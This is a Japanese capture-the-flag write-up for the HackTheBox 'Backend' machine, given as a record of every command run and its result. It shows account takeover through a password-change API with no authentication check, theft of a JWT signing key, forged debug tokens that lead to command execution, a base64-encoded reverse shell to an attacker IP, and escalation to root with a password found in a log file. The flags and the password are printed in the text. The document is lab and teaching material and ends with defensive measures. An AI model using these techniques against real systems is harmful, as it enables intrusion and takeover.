HackTheBox: Backend — 全実行コマンド・実行結果レポート
Nmap スキャン
SSH(22)+uvicorn(80)
→
SSH(22)+uvicorn(80)
signup/login
JWT取得
→
JWT取得
SecretFlagEndpoint
直接 user.txt 取得
→
直接 user.txt 取得
updatepass 認証漏れ
admin パスワード強制リセット
→
admin パスワード強制リセット
/proc/self/environ
JWT_SECRET 漏洩
→
JWT_SECRET 漏洩
JWT 自前偽造
debug=true クレーム注入
→
debug=true クレーム注入
exec RCE
urlsafe_b64 でスラッシュ回避
→
urlsafe_b64 でスラッシュ回避
htb シェル
user.txt ✓
→
user.txt ✓
auth.log
パスワード誤入力痕跡
→
パスワード誤入力痕跡
su –
root.txt ✓
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン
BASH
nmap -p- --min-rate 500 -T4 10.129.227.148 nmap -sV -sC -p 22,80 10.129.227.148
RESULT
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
80/tcp open http uvicorn
BASH
curl -s http://10.129.227.148/
RESULT
{"msg":"UHC API Version 1.0"}
ℹ️
BackendTwo (v2.0) と同じ著者・同系統のFastAPI製APIだが、こちらは
v1.0で脆弱性クラスが異なる。エンドポイント構造も少し異なる。
API エンドポイント列挙
BASH
feroxbuster -u http://10.129.227.148/api --force-recursion
RESULT
200 GET /api 200 GET /api/v1 307 GET /api/v1/admin => /api/v1/admin/ 405 GET /api/v1/admin/file 401 GET /docs
BASH (/api/v1/user 配下の列挙)
feroxbuster -u http://10.129.227.148/api/v1/user -C 404,405 -m GET,POST -S 4,104
RESULT
422 POST /api/v1/user/login 200 GET /api/v1/user/1 200 GET /api/v1/user/2 422 POST /api/v1/user/signup
PHASE 2
ユーザー登録 & SecretFlagEndpoint で即座に user.txt
ユーザー登録・ログイン
BASH
curl -s -X POST -d '{"email": "pwn3r@backend.htb", "password": "Pwn3rPass123!"}' \
http://10.129.227.148/api/v1/user/signup -H "Content-Type: application/json"
curl -s -d 'username=pwn3r@backend.htb&password=Pwn3rPass123!' \
http://10.129.227.148/api/v1/user/login | jq .
RESULT
{"access_token": "eyJhbGciOiJIUzI1NiIs...", "token_type": "bearer"}
SecretFlagEndpoint — admin権限不要で直接 user.txt
NOTE
Swaggerドキュメント(/docs)を見ると "Get Flag" (GET /api/v1/user/SecretFlagEndpoint) というエンドポイントがある。要認証だが、admin権限やdebug権限は一切要求しない。 本来はデバッグ用に残された設計ミスと思われる。
BASH
curl -s http://10.129.227.148/api/v1/user/SecretFlagEndpoint \ -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIs..."
RESULT
"13e9d2e7940be57b01e4e9f3f8e5ad3d"
user.txt (SecretFlagEndpoint経由)
13e9d2e7940be57b01e4e9f3f8e5ad3d
✅
これだけでuser.txtが取得できる。 ただしこの後もroot昇格のために
シェルアクセスが必要なため、admin権限奪取からのRCEフローに進む。
PHASE 3
認証チェック漏れの updatepass で admin 乗っ取り
admin の guid を無認証で取得
BASH
curl -s http://10.129.227.148/api/v1/user/1 | jq .
RESULT
{
"guid": "36c2e94a-4271-4259-93bf-c96ad5948284",
"email": "admin@htb.local",
"is_superuser": true,
"id": 1
}
updatepass — 実は認証不要で呼び出せる
NOTE
Swaggerドキュメント上「Update Password」(POST /api/v1/user/updatepass) は鍵アイコンが 無く、実際に試すと認証ヘッダー無しでも 201 Created が返る。設計上は自分のパスワードを guidで指定して変更する想定だったと思われるが、呼び出し元が誰であるかのチェックが 実装から漏れており、任意ユーザー(admin含む)のguidを指定してパスワードを 強制的に書き換えられる。
BASH
curl -s -X POST http://10.129.227.148/api/v1/user/updatepass \
-H "Content-Type: application/json" \
-d '{"guid": "36c2e94a-4271-4259-93bf-c96ad5948284", "password": "Pwn3dAdmin123!"}'
RESULT
HTTP/1.1 201 Created
🚨
認証バイパスによる完全なアカウント乗っ取り。
adminの新パスワードでログインし直す。
BASH
curl -s -d 'username=admin@htb.local&password=Pwn3dAdmin123!' \ http://10.129.227.148/api/v1/user/login | jq -r .access_token
✅
新しいトークンは
"is_superuser": true を含む。
GET /api/v1/admin/ にこのトークンでアクセスすると true が返る。
PHASE 4
JWT秘密鍵漏洩・debugクレーム偽造・スラッシュ制約回避RCE
admin file-read で JWT_SECRET を回収
BASH (/proc/self/environでアプリの作業ディレクトリを特定)
curl -s 'http://10.129.227.148/api/v1/admin/file' \
-H "Authorization: Bearer $ADMIN_TOKEN" \
-H 'Content-Type: application/json' \
-d '{"file": "/proc/self/environ"}' | jq -r '.file' | tr '\000' '\n' | grep PWD
RESULT
PWD=/home/htb/uhc
BASH (config.pyを読みJWT_SECRETを回収)
curl -s 'http://10.129.227.148/api/v1/admin/file' \
-H "Authorization: Bearer $ADMIN_TOKEN" \
-H 'Content-Type: application/json' \
-d '{"file": "/home/htb/uhc/app/core/config.py"}' | jq -r '.file'
RESULT
JWT_SECRET: str = "SuperSecretSigningKey-HTB"
ALGORITHM: str = "HS256"
debug=true クレームを注入した JWT を自前署名
PYTHON
import jwt
token = "<is_superuser=true の admin トークン>"
secret = "SuperSecretSigningKey-HTB"
decoded = jwt.decode(token, secret, algorithms=["HS256"],
options={"verify_iat": False}) # 時計ドリフト対策
decoded["debug"] = True
forged = jwt.encode(decoded, secret, "HS256")
print(forged)
⚠️
jwt.decodeはデフォルトでiat(発行時刻)クレームも検証する。
サンドボックス/検証環境のシステムクロックが実際のトークン発行時刻より
わずかに遅れていると"The token is not yet valid (iat)"で失敗するため、
options={"verify_iat": False}を明示しておくと安全。
BASH (動作確認)
curl -s http://10.129.227.148/api/v1/admin/exec/id -H "Authorization: Bearer $FORGED_TOKEN"
RESULT
"uid=1000(htb) gid=1000(htb) groups=1000(htb),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lxd)\n"
リバースシェル — 単一パスセグメント制約の回避
NOTE
GET /api/v1/admin/exec/{command} の {command} はFastAPIの単一パスセグメント
パラメータ。コマンド文字列に生の "/" を含めると、そこで別のルートとして
解釈されルーティング自体が壊れてしまう(標準base64のアルファベットには
"/" や "+" が含まれるため単純なbase64エンコードでは回避できないことがある)。
base64.urlsafe_b64encode ("/" "+" を一切出力しないURL安全な亜種) で
ペイロードをエンコードし、ターゲット側は python3 の
urlsafe_b64decode でそのままデコードすれば、送信するコマンド文字列自体に
"/" を一文字も含めずに済む。
PYTHON (ペイロード生成)
import base64, urllib.parse
rev_shell = "bash -c 'bash -i >& /dev/tcp/10.10.15.200/4446 0>&1'"
b64 = base64.urlsafe_b64encode(rev_shell.encode()).decode()
command = (
'python3 -c "import base64,os;'
f"os.system(base64.urlsafe_b64decode('{b64}').decode())\""
)
assert "/" not in command # 送信前に機械的に保証
quoted = urllib.parse.quote(command, safe="")
print(f"http://10.129.227.148/api/v1/admin/exec/{quoted}")
BASH
nc -lnvp 4446 & curl -s "http://10.129.227.148/api/v1/admin/exec/python3%20-c%20..." \ -H "Authorization: Bearer $FORGED_TOKEN"
RESULT (nc リスナー側)
listening on [any] 4446 ... connect to [10.10.15.200] from ... 51556 bash: cannot set terminal process group: Inappropriate ioctl for device bash: no job control in this shell htb@backend:~/uhc$ cat user.txt 13e9d2e7940be57b01e4e9f3f8e5ad3d
user.txt — htb
13e9d2e7940be57b01e4e9f3f8e5ad3d
✅
RCE成功! htbユーザーとしてシェルを確立。
PHASE 5
auth.log のパスワード誤入力痕跡 → su → root.txt
auth.log からパスワード誤入力の痕跡を発見
BASH
htb@backend:~/uhc$ cat auth.log
RESULT
04/11/2022, 22:09:45 - Login Success for admin@htb.local
04/11/2022, 22:18:05 - Login Failure for Tr0ub4dor&3
04/11/2022, 22:19:40 - Login Success for admin@htb.local
...
04/11/2022, 22:55:27 - Login Success for root@ippsec.rocks
⚠️
"Tr0ub4dor&3"はメールアドレス形式ではなく、他のログイン試行と
性質が異なる。誰か(おそらくroot管理者自身)が誤ってユーザー名欄に
自分のパスワードを入力してログイン失敗した痕跡と推測できる。
このボックスではこれがOSレベルのrootパスワードとして機能する。
su で root 昇格 → root.txt
BASH
htb@backend:~/uhc$ su - Password: Tr0ub4dor&3 root@backend:~# cat root.txt
RESULT
68e2d155fa3da1c0de12981f32cd8c86
root.txt
68e2d155fa3da1c0de12981f32cd8c86
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — htb
13e9d2e7940be57b01e4e9f3f8e5ad3d
root.txt
68e2d155fa3da1c0de12981f32cd8c86
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| 過剰な情報開示 | GET /api/v1/user/SecretFlagEndpoint | 要認証のみで一般ユーザーがuser.txtを取得可能 | Medium | admin権限やdebug権限を一切要求しないデバッグ用エンドポイントがそのまま公開されている |
| 認証チェック漏れ (Broken Access Control) | POST /api/v1/user/updatepass | 任意ユーザー(admin含む)のパスワード強制変更 | Critical | 本来admin専用または本人限定の想定だが呼び出し元の権限チェックが実装から抜け落ちており誰でも呼び出せる |
| JWT署名鍵の漏洩 | /proc/self/environ + app/core/config.py | 任意クレームを持つJWTの偽造 | Critical | admin権限で使えるファイル読み取り機能を使い、アプリのソースコードに直書きされた署名鍵を読み出す |
| debugクレーム偽造によるRCE | GET /api/v1/admin/exec/{command} | htbユーザーとしての任意コード実行 | Critical | 漏洩した署名鍵でdebug:trueクレームを追加した「正規の」JWTを自前発行し、デバッグ専用のコマンド実行エンドポイントを起動 |
| パスワード誤入力ログの残留 | ~/uhc/auth.log | rootパスワードの平文漏洩 | High | アプリ独自のログイン失敗ログに、ユーザー名欄への入力ミスで平文パスワードがそのまま記録され、OSアカウントのパスワードと一致する |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap + feroxbuster | uvicorn API構成、/api/v1 エンドポイント一覧 |
| 2 | フラグ直接取得 | SecretFlagEndpoint | user.txt (即座に取得可能) |
| 3 | 権限昇格 (API内) | updatepass 認証チェック漏れ | admin のパスワード奪取・is_superuser JWT |
| 4 | 秘密鍵漏洩+RCE | ファイル読取+JWT偽造+urlsafe_b64シェル | htb シェル (user.txt 再確認) |
| 5 | 権限昇格 | auth.log パスワード誤入力 + su | root.txt |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| デバッグ用に作られたと思われるエンドポイントが認証のみで本番環境に公開されたまま残っている | デバッグ/テスト用エンドポイントは環境変数等でビルド時に完全に除外するか、追加の管理者権限チェックを必ず付与する。 |
| パスワード変更APIが呼び出し元の身元確認(本人確認・admin確認)を実装しておらず、guidを知るだけで任意アカウントを乗っ取れる | パスワード変更は必ず現在ログイン中のユーザー自身のセッション/トークンに紐づくアカウントのみを対象にし、他者のguidを受け付けるAPI設計自体を避ける。 |
| JWT署名鍵がソースコードにハードコードされ、admin権限からのファイル読取で漏洩する | 署名鍵は環境変数・シークレット管理サービスから取得し、ソースコードや設定ファイルに直接埋め込まない。管理者向けファイル読取機能はアプリのソースディレクトリへのアクセスを禁止する。 |
| 署名鍵さえ漏れれば任意のクレーム(debugフラグ等)を追加した「正規の」JWTを攻撃者が自由に発行できる | クレームのスキーマをサーバ側で厳密に検証し、未知のクレームは無視/拒否する。認可判定はJWTの中身だけでなくDB側の最新状態とも突き合わせる。 |
| アプリ独自のログイン失敗ログに、ユーザーの入力ミスとはいえ平文パスワードがそのまま記録される、かつOSアカウントとパスワードを使い回している | ログに機微情報が記録されないよう入力値のサニタイズ・マスキングを徹底する。アプリケーションアカウントとOSアカウントのパスワードは完全に分離し使い回さない。 |

